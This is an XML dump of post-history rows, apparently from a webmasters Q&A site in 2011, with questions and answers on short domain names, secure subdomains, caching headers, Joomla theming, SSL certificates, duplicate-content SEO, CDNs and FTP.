  <row Id="23061" PostHistoryTypeId="25" PostId="10311" RevisionGUID="5201d8a9-59f2-4513-995a-d875e43920f1" CreationDate="2011-03-08T23:23:32.597" Comment="http://twitter.com/#!/StackWebmasters/status/45263410383949824" />
  <row Id="23062" PostHistoryTypeId="17" PostId="10327" RevisionGUID="82dbd736-d00a-41e2-87cb-5edd0899d29e" CreationDate="2011-03-08T23:55:07.173" UserId="-1" Comment="from http://stackoverflow.com/questions/5239440/domain-with-only-one-or-two-characters/5239460#5239460" Text="" />
  <row Id="23063" PostHistoryTypeId="17" PostId="10328" RevisionGUID="96940ca7-1b9c-4a5c-85b8-c85a9fc08d28" CreationDate="2011-03-08T23:55:07.173" UserId="-1" Comment="from http://stackoverflow.com/questions/5239440/domain-with-only-one-or-two-characters/5239491#5239491" Text="" />
  <row Id="23064" PostHistoryTypeId="17" PostId="10329" RevisionGUID="b90718aa-42bc-4016-a728-ce8261f1a57d" CreationDate="2011-03-08T23:55:07.173" UserId="-1" Comment="from http://stackoverflow.com/questions/5239440/domain-with-only-one-or-two-characters/5239514#5239514" Text="" />
  <row Id="23065" PostHistoryTypeId="2" PostId="10327" RevisionGUID="cb953a4e-b747-4897-9b1b-7aabe57a11a8" CreationDate="2011-03-08T23:04:26.003" UserId="5052" Text="It depends on what the tld requires. For example, even though for `.me` domains you need 3 letters, many companies [are granted an exception](http://en.wikipedia.org/wiki/.me) for example `fb.me`, `wp.me`. They are probably paying for this privilege :-)" />
  <row Id="23066" PostHistoryTypeId="2" PostId="10328" RevisionGUID="ce70c86c-0898-461e-975a-af2ff4ffbda8" CreationDate="2011-03-08T23:08:17.050" UserDisplayName="ChrisJ" Text="Wikipedia has an [article on the topic][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Single-letter_second-level_domain" />
  <row Id="23067" PostHistoryTypeId="2" PostId="10329" RevisionGUID="5c6a2ba5-7c98-4a3f-8660-9f2949e75880" CreationDate="2011-03-08T23:11:25.017" UserDisplayName="damon" Text="**Single-letter second-level domains** are domain names in which the second-level domain consists of only one letter, **such as x.com**. In 1993, the Internet Assigned Numbers Authority (**IANA**) **explicitly reserved** all single-letter and single-digit second-level domain names in the top-level domains **com, net, and org**, and grandfathered those that had already been assigned. In December 2005, ICANN considered auctioning these domains.&#xD;&#xA;&#xD;&#xA;Emphasis/Mine&#xD;&#xA;&#xD;&#xA;Two letter domains where reserved to prevent confusion with two letter country code TLDs.&#xD;&#xA;&#xD;&#xA;[Source/Wikipedia][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Single-letter_second-level_domain" />
  <row Id="23068" PostHistoryTypeId="2" PostId="10326" RevisionGUID="d8c01ec9-57ba-4124-aac6-445de61bfef8" CreationDate="2011-03-08T23:01:38.317" UserId="5873" Text="I came across some sites that have only 2 or even 1 charachter for the domain name like hp.com, u.bb and 9.bb&#xD;&#xA;&#xD;&#xA;How come? as we know that when registering a domain name we must provide at least 3 characters." />
  <row Id="23069" PostHistoryTypeId="1" PostId="10326" RevisionGUID="d8c01ec9-57ba-4124-aac6-445de61bfef8" CreationDate="2011-03-08T23:01:38.317" UserId="5873" Text="domain with only one or two characters" />
  <row Id="23070" PostHistoryTypeId="3" PostId="10326" RevisionGUID="d8c01ec9-57ba-4124-aac6-445de61bfef8" CreationDate="2011-03-08T23:01:38.317" UserId="5873" Text="&lt;domains&gt;" />
  <row Id="23071" PostHistoryTypeId="17" PostId="10326" RevisionGUID="e9be1b81-df8f-4110-b3c9-b136f97d47c7" CreationDate="2011-03-08T23:55:07.173" UserId="-1" Comment="from http://stackoverflow.com/questions/5239440/domain-with-only-one-or-two-characters" Text="" />
  <row Id="23072" PostHistoryTypeId="17" PostId="10331" RevisionGUID="5f8e09a4-4906-4d31-8946-ff7e7940fc8a" CreationDate="2011-03-09T01:46:33.890" UserId="-1" Comment="from http://stackoverflow.com/questions/5240454/what-is-wwws-site-com/5240475#5240475" Text="" />
  <row Id="23073" PostHistoryTypeId="2" PostId="10331" RevisionGUID="c0ad54f1-c6f4-4de3-b845-dfb989070ba2" CreationDate="2011-03-09T01:45:24.670" UserDisplayName="Paul Schreiber" Text="There's no good reason to do this. Some marketing person probably suggested it. &#xD;&#xA;&#xD;&#xA;n fact, it's a bad idea, because it teaches users to trust the host name and not the browser's security indicators (lock icon, etc.)" />
  <row Id="23074" PostHistoryTypeId="2" PostId="10330" RevisionGUID="b0906b32-9500-4b4f-a867-5a56ffdb22e1" CreationDate="2011-03-09T01:42:34.583" UserDisplayName="silow" Text="I know about https for securing important pages like login and such. But why would someone create a separate subdomain like wwws as well? for example &#xD;&#xA;&#xD;&#xA;`https://wwws.site.com/login`&#xD;&#xA;" />
  <row Id="23075" PostHistoryTypeId="1" PostId="10330" RevisionGUID="b0906b32-9500-4b4f-a867-5a56ffdb22e1" CreationDate="2011-03-09T01:42:34.583" UserDisplayName="silow" Text="what is wwws.site.com" />
  <row Id="23076" PostHistoryTypeId="3" PostId="10330" RevisionGUID="b0906b32-9500-4b4f-a867-5a56ffdb22e1" CreationDate="2011-03-09T01:42:34.583" UserDisplayName="silow" Text="&lt;php&gt;&lt;security&gt;" />
  <row Id="23077" PostHistoryTypeId="17" PostId="10330" RevisionGUID="c532e56e-baf3-4a45-869d-7df153f26528" CreationDate="2011-03-09T01:46:33.890" UserId="-1" Comment="from http://stackoverflow.com/questions/5240454/what-is-wwws-site-com" Text="" />
  <row Id="23078" PostHistoryTypeId="2" PostId="10332" RevisionGUID="d7278e0d-53d4-45b5-bec7-d5e496ecb937" CreationDate="2011-03-09T01:51:29.470" UserId="5959" Text="I do this (though I usually use secure.site.com or similar) when I have separate content to serve. I.e., when site.com and secure.site.com contain different things and/or have different restrictions on who (i.e., source IP address) can use them. If they're both serving the same content, then I'm not sure why you'd do this -- I don't see any benefit to it. I'd guess that it was done this way simply because the person who set it up didn't otherwise know how to configure both HTTP and HTTPS on the same domain in the same config." />
  <row Id="23079" PostHistoryTypeId="2" PostId="10333" RevisionGUID="3892484d-9193-45ec-b8e2-a7c22ebbb35f" CreationDate="2011-03-09T01:54:35.377" UserId="5960" Text="Even easier, when they log in, redirect them to a page that contains a little javascript.&#xD;&#xA;&#xD;&#xA;Like so:&#xD;&#xA;&#xD;&#xA;1) Create this trigger/action set:&#xD;&#xA;[Trigger] User Logs In -&gt; [Action] Redirect to /mustagree&#xD;&#xA;&#xD;&#xA;2) Add content page mustagree:&#xD;&#xA;&#xD;&#xA;&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;&#xD;&#xA;if ( confirm('Terms: \n You must be older than 18 to enter. \n \n Do you agree to these terms?') ) {&#xD;&#xA;     window.location = 'userhomepage'&#xD;&#xA;}&#xD;&#xA;else {&#xD;&#xA;   window.location = 'logout'&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Assuming you have a content page with the url userhomepage this will work perfectly." />
  <row Id="23080" PostHistoryTypeId="2" PostId="10334" RevisionGUID="d4630449-b088-4e7d-b3c1-52200927d3bb" CreationDate="2011-03-09T02:10:00.070" UserId="5959" Text=" - Put your framework code into a source control system like git or subversion if it's not already.&#xD;&#xA;&#xD;&#xA; - On your live &quot;deployed&quot; server, check out the code to some commonly accessible directory like /opt/mylib.&#xD;&#xA;&#xD;&#xA; - Configure your framework to look in /opt/mylib for your code instead of /path/to/this/site/mylib. If your code doesn't support the notion of being installed into any arbitrary location, then you can simply symlink each /path/to/this/site/mylib to /opt/mylib.&#xD;&#xA;&#xD;&#xA; - Make a check out in your home dir for your development work. When fixing a bug or adding a new feature, commit/push as normal.&#xD;&#xA;&#xD;&#xA; - If you want the live server to start using the new code, simply run &quot;git pull&quot; or &quot;svn up&quot; (or whatever) in /opt/mylib.&#xD;&#xA;" />
  <row Id="23081" PostHistoryTypeId="2" PostId="10335" RevisionGUID="2be151a8-8eb1-4400-af2f-8c7f11a591a6" CreationDate="2011-03-09T02:13:03.227" UserId="1218" Text="I did this for a while using [MIG - My Image Gallery][1] -- i think it will do what you want, it reads from the filesystem, so dropping new images in there will display them immediately. Exif data is supported.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mig.sourceforge.net/" />
  <row Id="23082" PostHistoryTypeId="25" PostId="10330" RevisionGUID="7e971f3c-f538-448f-9806-86ca75d017ef" CreationDate="2011-03-09T02:23:32.217" Comment="http://twitter.com/#!/StackWebmasters/status/45308707122323456" />
  <row Id="23083" PostHistoryTypeId="6" PostId="10330" RevisionGUID="ca798c4d-d304-44fc-a051-c0798e3d7035" CreationDate="2011-03-09T02:45:28.280" UserId="5961" Comment="edited tags; edited tags" Text="&lt;web-development&gt;&lt;security&gt;" />
  <row Id="23084" PostHistoryTypeId="2" PostId="10336" RevisionGUID="36c6338e-eddc-447d-8477-f3d65e444146" CreationDate="2011-03-09T02:52:11.217" UserId="5718" Text="The results from the AdWords keyword tool aren't always that predictive, especially when it comes to CPC's. To get a better picture of the value of a keyword you can run ads on it for a period of time then you'll know the real CPC and Search Volume. &#xD;&#xA;&#xD;&#xA;However, I think that you would be better off finding a topic that you find interesting and write about it than spending time searching for 'profitable' keywords. It's probably a better long term strategy to build something of real value then work out how to profit from it. There are far too many 'made-for-adsense' sites on the internet at the moment and Google is proactive in it's efforts to deal with the issue of low quality content as it will affect their position in the long term if they don't. " />
  <row Id="23085" PostHistoryTypeId="2" PostId="10337" RevisionGUID="1a0c6cea-aa44-4462-9ac9-0f66c73d130a" CreationDate="2011-03-09T03:09:15.327" UserId="5962" Text="I am seeing a lot of traffic to my website from user agent Issbot.  This certainly looks like a bot, but is not listed in the www.user-agents.org listing, and I have not been able to find anything useful on Google.  Does anyone know what or who this is?" />
  <row Id="23086" PostHistoryTypeId="1" PostId="10337" RevisionGUID="1a0c6cea-aa44-4462-9ac9-0f66c73d130a" CreationDate="2011-03-09T03:09:15.327" UserId="5962" Text="What is user agent Issbot" />
  <row Id="23087" PostHistoryTypeId="3" PostId="10337" RevisionGUID="1a0c6cea-aa44-4462-9ac9-0f66c73d130a" CreationDate="2011-03-09T03:09:15.327" UserId="5962" Text="&lt;robots&gt;&lt;user-agent&gt;" />
  <row Id="23088" PostHistoryTypeId="2" PostId="10338" RevisionGUID="195f00fb-16d6-439d-89a8-b30dadbade3d" CreationDate="2011-03-09T03:26:21.420" UserId="5718" Text="Have you tried CJ.com yet? They're one of the more-established affiliate networks and I can see plenty of advertisers of luxury goods on there." />
  <row Id="23090" PostHistoryTypeId="2" PostId="10340" RevisionGUID="ed46df0d-6956-46e6-be42-6d59c5a7a505" CreationDate="2011-03-09T03:53:44.943" UserId="5849" Text="Did a bit of research. It is apparently a bot owned by these folks: http://www.aloe-systems.com/products (Whois on their ip)&#xD;&#xA;&#xD;&#xA;Don't know what it does, except that it ignores your robot.txt file. If I had to guess, it has something to do with that Lawful Interception stuff. " />
  <row Id="23092" PostHistoryTypeId="25" PostId="10326" RevisionGUID="958f316e-042e-4e7f-86c1-d97ebaea0969" CreationDate="2011-03-09T05:23:32.353" Comment="http://twitter.com/#!/StackWebmasters/status/45354005685219328" />
  <row Id="23093" PostHistoryTypeId="2" PostId="10341" RevisionGUID="a37989f5-bdbc-4998-96e8-682ad8bf8732" CreationDate="2011-03-09T05:45:38.040" UserId="5718" Text="If you don't require a Google Analytics solution then you could try out Piwik http://piwik.org/ - It's got similar functionality and is open-source so you can do what you like with it. However, you want to consider the server load involved with hosting your own tracking solution as it can add up if you get a lot of traffic." />
  <row Id="23094" PostHistoryTypeId="2" PostId="10342" RevisionGUID="7bd9838b-3488-458b-8c94-b7b4f8d6c2ef" CreationDate="2011-03-09T06:17:17.183" UserId="5967" Text="HP used to do this, and they may still do it. This is how they load balanced their site.&#xD;&#xA;Each sub-domain could be associated with a separate IP address and upon logging into www.hp.com you would be redirect to one of www1.hp.com ... etc &#xD;&#xA;I think there may have even been a time before CDN's came into their own, that Amazon did the same thing.&#xD;&#xA;&#xD;&#xA;Sometimes this is due to poor application design, in which the server hosting website version1 is hosted at 68.68.68.2 (www.domain.com)  and  then someone rewrites the website because your developer from Texas is now in jail (true story...) and because some XML-RPC logic buried in the pile of crap at www.domain.com is still needed we just redirect our users to wwws.domain.com (68.68.68.3) where our new and improved site is that was developed by Brian the disgruntled ex Microsoft employee.&#xD;&#xA;&#xD;&#xA;We aren't sure what will happen if we take down www.domain.com or move it or rename it, so we just leave it instead of migrating our 'good' website back to our primary domain." />
  <row Id="23095" PostHistoryTypeId="2" PostId="10343" RevisionGUID="c6f7a1c4-955d-4a76-912d-e392ec55b3be" CreationDate="2011-03-09T06:41:15.010" UserId="5968" Text="www.google.com/WebMaster&#xD;&#xA;&#xD;&#xA;You can request for site inclusion and removal there." />
  <row Id="23096" PostHistoryTypeId="2" PostId="10344" RevisionGUID="c70c5f5a-b4ce-482e-b028-61f189609bbf" CreationDate="2011-03-09T08:20:36.240" UserId="5973" Text="I'm experiencing a caching issue I can't explain. This is happening across browsers, IPs and ISPs. If a user force-refreshes, they see the new content. If they then refresh or return to the page, the old one displays. I've tried using headers via PHP such as &#xD;&#xA;&#xD;&#xA;`header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );&#xD;&#xA;header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );&#xD;&#xA;header( 'Cache-Control: no-store, no-cache, must-revalidate' );&#xD;&#xA;header( 'Cache-Control: post-check=0, pre-check=0', false );&#xD;&#xA;header( 'Pragma: no-cache' );`&#xD;&#xA;&#xD;&#xA;Laid out correctly, at the very beginning of the file. The problem persists. A pan-ISP proxy is unlikely. Suggestions?" />
  <row Id="23097" PostHistoryTypeId="1" PostId="10344" RevisionGUID="c70c5f5a-b4ce-482e-b028-61f189609bbf" CreationDate="2011-03-09T08:20:36.240" UserId="5973" Text="Caching preventing users seeing site updates" />
  <row Id="23098" PostHistoryTypeId="3" PostId="10344" RevisionGUID="c70c5f5a-b4ce-482e-b028-61f189609bbf" CreationDate="2011-03-09T08:20:36.240" UserId="5973" Text="&lt;php&gt;&lt;cache&gt;&lt;http-headers&gt;" />
  <row Id="23099" PostHistoryTypeId="25" PostId="10344" RevisionGUID="874cf563-ebb7-4216-a9bc-d48f57f01a13" CreationDate="2011-03-09T08:23:32.767" Comment="http://twitter.com/#!/StackWebmasters/status/45399306110369792" />
  <row Id="23100" PostHistoryTypeId="2" PostId="10345" RevisionGUID="a5ac4686-e0b6-4ba3-a550-f7f723cac7e4" CreationDate="2011-03-09T08:25:17.183" UserId="3790" Text="I copied the 'com_content' folder from the 'beez' template to the html folder of my template.&#xD;&#xA;So now my content displays with divs and without tables.&#xD;&#xA;Now I want to same for my modules I add to the right side of my site.&#xD;&#xA;They are still build with tables and not divs.&#xD;&#xA;Anyone knows how to do this?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23101" PostHistoryTypeId="1" PostId="10345" RevisionGUID="a5ac4686-e0b6-4ba3-a550-f7f723cac7e4" CreationDate="2011-03-09T08:25:17.183" UserId="3790" Text="Joomla theme module without tables" />
  <row Id="23102" PostHistoryTypeId="3" PostId="10345" RevisionGUID="a5ac4686-e0b6-4ba3-a550-f7f723cac7e4" CreationDate="2011-03-09T08:25:17.183" UserId="3790" Text="&lt;joomla&gt;&lt;template&gt;&lt;table&gt;" />
  <row Id="23103" PostHistoryTypeId="5" PostId="4027" RevisionGUID="698a9323-e753-4d2d-8b87-8a146834ca64" CreationDate="2011-03-09T09:33:37.467" UserId="1064" Comment="Corrected &quot;Blank&quot;-&gt;&quot;Black&quot;, improved formatting." Text="SEO is typically broken up into two categories: Black Hat and White Hat.&#xD;&#xA;&#xD;&#xA;Black Hat typically refers to techniques and methods that intentionally violate the search engine's terms of service for the explicit purpose of manipulating the search rankings.&#xD;&#xA;&#xD;&#xA;White Hat refers to techniques and methods that assist the search engines in comprehending the nature of a web page's content that aren't prohibited." />
  <row Id="23104" PostHistoryTypeId="2" PostId="10346" RevisionGUID="c0e3161e-2270-4319-96bd-cf20cf9fc887" CreationDate="2011-03-09T10:08:49.237" UserId="5594" Text="I am trying to release a site to run under framework 4 on a server that also hosts framework 2 sites.&#xD;&#xA;&#xD;&#xA;By default the App has defaulted to framework 2, but when I try to change it's framework to 4 I get a message saying that the following action will cause the iis to reset.&#xD;&#xA;&#xD;&#xA;The problem I have is there are serveral active sites that I do not want to interupt with a restart.&#xD;&#xA;&#xD;&#xA;The message goes on to say you can avoid restarting by running the following:&#xD;&#xA;&#xD;&#xA;`aspnet_regiis -norestart -s [IIS Virtual Path]`&#xD;&#xA;&#xD;&#xA;I have been attempting to find the site virtual path but when I run `aspnet_regiis -lk` the site I am after does not appear to be listed.&#xD;&#xA;&#xD;&#xA;My first thoughts were that it has something to do with the app pool?, but I'm sure I saw sites that are inactive listed, and after creating a basic site to get it to run under framework 2, the site still did not appear in the `-lk` list.&#xD;&#xA;&#xD;&#xA;Can anyone tell me if there is an alternative location to the `-lk` that I can find the specific information realating to the IIS Virtual Path?" />
  <row Id="23105" PostHistoryTypeId="1" PostId="10346" RevisionGUID="c0e3161e-2270-4319-96bd-cf20cf9fc887" CreationDate="2011-03-09T10:08:49.237" UserId="5594" Text="aspnet_regiis -lk is not listing the site I need" />
  <row Id="23106" PostHistoryTypeId="3" PostId="10346" RevisionGUID="c0e3161e-2270-4319-96bd-cf20cf9fc887" CreationDate="2011-03-09T10:08:49.237" UserId="5594" Text="&lt;iis&gt;" />
  <row Id="23107" PostHistoryTypeId="2" PostId="10347" RevisionGUID="07758a44-e3ec-4cb0-9fcc-d3573c1082d8" CreationDate="2011-03-09T10:18:31.127" UserId="3822" Text="I saw some blogs in Turkish that contain translated content from English blogs. They are translated by humans not by automatic software. &#xD;&#xA;&#xD;&#xA;I wonder if Google counts those pages as duplicate content or not? In reality, the content is duplicate clearly but is there a way for Google to detect this?" />
  <row Id="23108" PostHistoryTypeId="1" PostId="10347" RevisionGUID="07758a44-e3ec-4cb0-9fcc-d3573c1082d8" CreationDate="2011-03-09T10:18:31.127" UserId="3822" Text="Translated content: Are they considered as duplicate or unique?" />
  <row Id="23109" PostHistoryTypeId="3" PostId="10347" RevisionGUID="07758a44-e3ec-4cb0-9fcc-d3573c1082d8" CreationDate="2011-03-09T10:18:31.127" UserId="3822" Text="&lt;seo&gt;&lt;duplicate-content&gt;&lt;translation&gt;" />
  <row Id="23110" PostHistoryTypeId="2" PostId="10348" RevisionGUID="5ea8c828-3000-4382-9be1-9b20cee128dc" CreationDate="2011-03-09T10:34:47.883" UserId="233" Text="It's very unlikely it would be duplicate content, because it's not really possible to reliably determine that one passage of text is a translation of another. You could take two similar English passages, translate them independently, and end up with the same content in the second language." />
  <row Id="23111" PostHistoryTypeId="2" PostId="10349" RevisionGUID="565026d6-ebf0-4157-b77c-537511a673b7" CreationDate="2011-03-09T10:38:01.953" UserId="233" Text="One quick solution would be to resubmit your XML sitemap (or build one if you don't already have a sitemap). You can also increase your crawl rate in GWT which will get Google to find your pages quickly." />
  <row Id="23112" PostHistoryTypeId="2" PostId="10350" RevisionGUID="7b88572e-6cc1-4d7b-aeca-17cf55e52d7b" CreationDate="2011-03-09T10:42:19.203" UserId="1757" Text="Duplicate content penalties are enforced to reduce the amount of useless content on the web and having redundant results in SERPs. Translating content into a different language is neither useless nor redundant. Someone who can't read English but reads Turkish won't be able to consume an English article. So it makes no sense for Google to discourage the translation of articles to other languages.&#xD;&#xA;&#xD;&#xA;If translations were treated as duplicates, you'd have to use a `canonical` tag, and that would cause only the canonical version (usually) to be displayed in SERPs. That means the other language versions would be inaccessible to search users. This is why if you have different localizations of the same content, you don't use `canonical` to link them, you use the `rel=&quot;translation&quot;` attribute and link them together by a hyperlink (`link` or `a`)." />
  <row Id="23113" PostHistoryTypeId="2" PostId="10351" RevisionGUID="00635d3f-0a3d-4cc6-8184-587a4cd509bf" CreationDate="2011-03-09T10:49:44.407" UserId="3282" Text="I am running a Google AdWords campaign and am wondering if I can get any information from the people who click my ads? I already collect statistics on the website, but I get no referer information from the Google ads in the search network, only from the display network.&#xD;&#xA;&#xD;&#xA;I am also running Google Analytics on the website but I can't find any relevant information there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S: Tag suggestion: google-adwords" />
  <row Id="23114" PostHistoryTypeId="1" PostId="10351" RevisionGUID="00635d3f-0a3d-4cc6-8184-587a4cd509bf" CreationDate="2011-03-09T10:49:44.407" UserId="3282" Text="Getting IP/WHOIS information from users clicking ads in Google AdWords?" />
  <row Id="23115" PostHistoryTypeId="3" PostId="10351" RevisionGUID="00635d3f-0a3d-4cc6-8184-587a4cd509bf" CreationDate="2011-03-09T10:49:44.407" UserId="3282" Text="&lt;google&gt;" />
  <row Id="23116" PostHistoryTypeId="6" PostId="10351" RevisionGUID="b6f961a6-1e01-49f9-86da-0a6fac90a859" CreationDate="2011-03-09T10:56:16.617" UserId="1757" Comment="add tags" Text="&lt;google&gt;&lt;analytics&gt;&lt;adwords&gt;" />
  <row Id="23117" PostHistoryTypeId="25" PostId="10347" RevisionGUID="8cce7d71-4c97-4d06-b7ea-06a28520fad6" CreationDate="2011-03-09T11:23:32.497" Comment="http://twitter.com/#!/StackWebmasters/status/45444603280764930" />
  <row Id="23118" PostHistoryTypeId="5" PostId="10180" RevisionGUID="858279cd-27dc-4611-b7d4-6405019e57ca" CreationDate="2011-03-09T11:41:18.277" UserId="5976" Comment="Thanks Ben for your corrections :) ... Anyway, I fixed the last sentence, because yours was not fitting what I asked" Text="I have a domain, let's call it www.mydomain.com where I have a portal with an active community of users.&#xD;&#xA;&#xD;&#xA;In this portal users cooperate in a wiki way to build some &quot;kind of software&quot;.&#xD;&#xA;These software applications can then be run by accessing &quot;public.mydomain.com/softwarename&quot;&#xD;&#xA;&#xD;&#xA;I then want to let my users run these applications from their own subdomains. I know I can do that by automatically modifying the.htaccess file. This is not a problem.&#xD;&#xA;&#xD;&#xA;I want to let these users create dns aliases to let them access one specific subdomain. So if a user &quot;pippo&quot; that owns &quot;www.pippo.com&quot; wants to run software HelloWorld from his own subdomains he has to:&#xD;&#xA;&#xD;&#xA;  1. Register to my site&#xD;&#xA;  2. Create his own subdomain on his own site, run.pippo.com&#xD;&#xA;  3. From his DNS control panel, he creates a CNAME record &quot;run.pippo.com&quot; pointing to &quot;public.mydomain.com&quot;&#xD;&#xA;  4. He types in a browser http://run.pippo.com/HelloWorld&#xD;&#xA;&#xD;&#xA;When the software(that is physically run on my server) is called, first it checks that the originating domain is a trusted one. I don't do any other kind of check that restricts software execution.&#xD;&#xA;&#xD;&#xA;From a SEO perspective, I care about Google indexing of www.mydomain.com but I don't care about indexing of public.mydomain.com&#xD;&#xA;&#xD;&#xA;What are the possible security implications of doing this for my site?&#xD;&#xA;&#xD;&#xA;Do you know some existing website implementing a domain configuration like this one?" />
  <row Id="23119" PostHistoryTypeId="24" PostId="10180" RevisionGUID="858279cd-27dc-4611-b7d4-6405019e57ca" CreationDate="2011-03-09T11:41:18.277" Comment="Proposed by 5976 approved by 1064 edit id of 53" />
  <row Id="23121" PostHistoryTypeId="2" PostId="10353" RevisionGUID="148a9e7b-accc-4fd2-8be3-733bfc492b0f" CreationDate="2011-03-09T12:20:21.647" UserId="5979" Text="We are implementing Exchange 2010 server and an eCommerce site. Both of these need certificates and I am confused what to use? I know Exchange need UC certificate. Can I use it for the ecommerce site as well? I did read EV is recommended for web sites..&#xD;&#xA;&#xD;&#xA; I would like to know what to use and the recommended procedures. Here how we will be using the certificates:&#xD;&#xA; &#xD;&#xA;  1. We are planning to use *.net for testing Exchange server&#xD;&#xA;  2. Will be using *.com for Exchange server (Production)&#xD;&#xA;  3. Will be using *.com for ecommerce site (Production)&#xD;&#xA;&#xD;&#xA;I also heard about certificates which are both EV UC.. please recommend the correct certificates to use.&#xD;&#xA;&#xD;&#xA;Thanks in advance. " />
  <row Id="23122" PostHistoryTypeId="1" PostId="10353" RevisionGUID="148a9e7b-accc-4fd2-8be3-733bfc492b0f" CreationDate="2011-03-09T12:20:21.647" UserId="5979" Text="What is recommended - UC or EV or EV UC certificate?" />
  <row Id="23123" PostHistoryTypeId="3" PostId="10353" RevisionGUID="148a9e7b-accc-4fd2-8be3-733bfc492b0f" CreationDate="2011-03-09T12:20:21.647" UserId="5979" Text="&lt;ssl-certificate&gt;&lt;ucc-certificate&gt;" />
  <row Id="23124" PostHistoryTypeId="2" PostId="10354" RevisionGUID="f4c33eb2-790e-45bb-b26a-6041ebdf3a39" CreationDate="2011-03-09T12:45:17.220" UserId="3790" Text="Hi how can I theme only 1 page or module in joomla 1.5?&#xD;&#xA;And I don't mean change the css but change the php file, so I can choose to display the date above the title and not below.&#xD;&#xA;&#xD;&#xA;This should be very simple like in drupal.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23125" PostHistoryTypeId="1" PostId="10354" RevisionGUID="f4c33eb2-790e-45bb-b26a-6041ebdf3a39" CreationDate="2011-03-09T12:45:17.220" UserId="3790" Text="Joomla theme only 1 page or module" />
  <row Id="23126" PostHistoryTypeId="3" PostId="10354" RevisionGUID="f4c33eb2-790e-45bb-b26a-6041ebdf3a39" CreationDate="2011-03-09T12:45:17.220" UserId="3790" Text="&lt;css&gt;&lt;php&gt;&lt;cms&gt;&lt;joomla&gt;&lt;theme&gt;" />
  <row Id="23127" PostHistoryTypeId="2" PostId="10355" RevisionGUID="b2c33e91-dad1-4bb1-8e1e-47aa6a68c851" CreationDate="2011-03-09T13:28:35.417" UserId="5847" Text="Is there a special port for godaddy servers? &#xD;&#xA;Do I have to call them to enable ftp support?&#xD;&#xA;I can login w the username and password on the control panel on godaddy.com but not on ftp. &#xD;&#xA;I'm not sure what I'm doing wrong. &#xD;&#xA;I tried using Filezilla and CuteFTP Pro. &#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="23128" PostHistoryTypeId="1" PostId="10355" RevisionGUID="b2c33e91-dad1-4bb1-8e1e-47aa6a68c851" CreationDate="2011-03-09T13:28:35.417" UserId="5847" Text="FTP GoDaddy Issues" />
  <row Id="23129" PostHistoryTypeId="3" PostId="10355" RevisionGUID="b2c33e91-dad1-4bb1-8e1e-47aa6a68c851" CreationDate="2011-03-09T13:28:35.417" UserId="5847" Text="&lt;godaddy&gt;&lt;ftp&gt;" />
  <row Id="23130" PostHistoryTypeId="2" PostId="10356" RevisionGUID="2e0e3e65-d9d1-4fd7-8e23-473e1e117714" CreationDate="2011-03-09T13:34:58.837" UserId="233" Text="On my site I use CodeIgniter, which does not allow any use of query strings. Any unacceptable characters in a URL result in a 400 error.&#xD;&#xA;&#xD;&#xA;In Google Webmaster Tools I'm seeing several crawl errors where the page is shown as `example.com/asd?pagewanted=all`. Does anyone know where this query string comes from? Is it from another website, search engine or software?" />
  <row Id="23131" PostHistoryTypeId="1" PostId="10356" RevisionGUID="2e0e3e65-d9d1-4fd7-8e23-473e1e117714" CreationDate="2011-03-09T13:34:58.837" UserId="233" Text="Where is the query string pagewanted=all coming from?" />
  <row Id="23132" PostHistoryTypeId="3" PostId="10356" RevisionGUID="2e0e3e65-d9d1-4fd7-8e23-473e1e117714" CreationDate="2011-03-09T13:34:58.837" UserId="233" Text="&lt;google-webmaster-tools&gt;&lt;query-string&gt;" />
  <row Id="23133" PostHistoryTypeId="2" PostId="10357" RevisionGUID="514ebd7d-b6b7-4128-b484-839b19b15d0e" CreationDate="2011-03-09T14:17:39.967" UserId="5982" Text="I'm using a CDN (Level3) for the first time and I'm a bit confused. I'm accessing dynamic URLs such as http://cdn.mysite.com?getItem=1234 that return text data.&#xD;&#xA;&#xD;&#xA;1. Do CDNs work with HTTP POST operations? When i issue a HTTP POST operation, my &quot;real&quot; server receives this request every time, so I'm wondering if the CDN has a problem with POST operations.&#xD;&#xA;&#xD;&#xA;2. If i use HTTP GET it seems to work, i call the URL once (from my application), i can see my server receiving the request. If i call it a second time, the CDN delivers it directly, my server doesn't get anything. However if i open same the link manually from a second browser tab, my server is asked to deliver again, shouldn't it be cached by now?&#xD;&#xA;&#xD;&#xA;Many thanks." />
  <row Id="23134" PostHistoryTypeId="1" PostId="10357" RevisionGUID="514ebd7d-b6b7-4128-b484-839b19b15d0e" CreationDate="2011-03-09T14:17:39.967" UserId="5982" Text="Do CDNs work with POST operations?" />
  <row Id="23135" PostHistoryTypeId="3" PostId="10357" RevisionGUID="514ebd7d-b6b7-4128-b484-839b19b15d0e" CreationDate="2011-03-09T14:17:39.967" UserId="5982" Text="&lt;cdn&gt;&lt;post&gt;" />
  <row Id="23136" PostHistoryTypeId="25" PostId="10357" RevisionGUID="2c486d21-2c3d-44e0-867d-0f82339e29aa" CreationDate="2011-03-09T14:23:32.787" Comment="http://twitter.com/#!/StackWebmasters/status/45489901554249729" />
  <row Id="23137" PostHistoryTypeId="2" PostId="10358" RevisionGUID="8558f7cb-2fb0-4299-9282-6708a43bd9d6" CreationDate="2011-03-09T14:44:42.193" UserId="1253" Text="Are you following [godaddy's FTP instructions][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/Popups/ftp.aspx" />
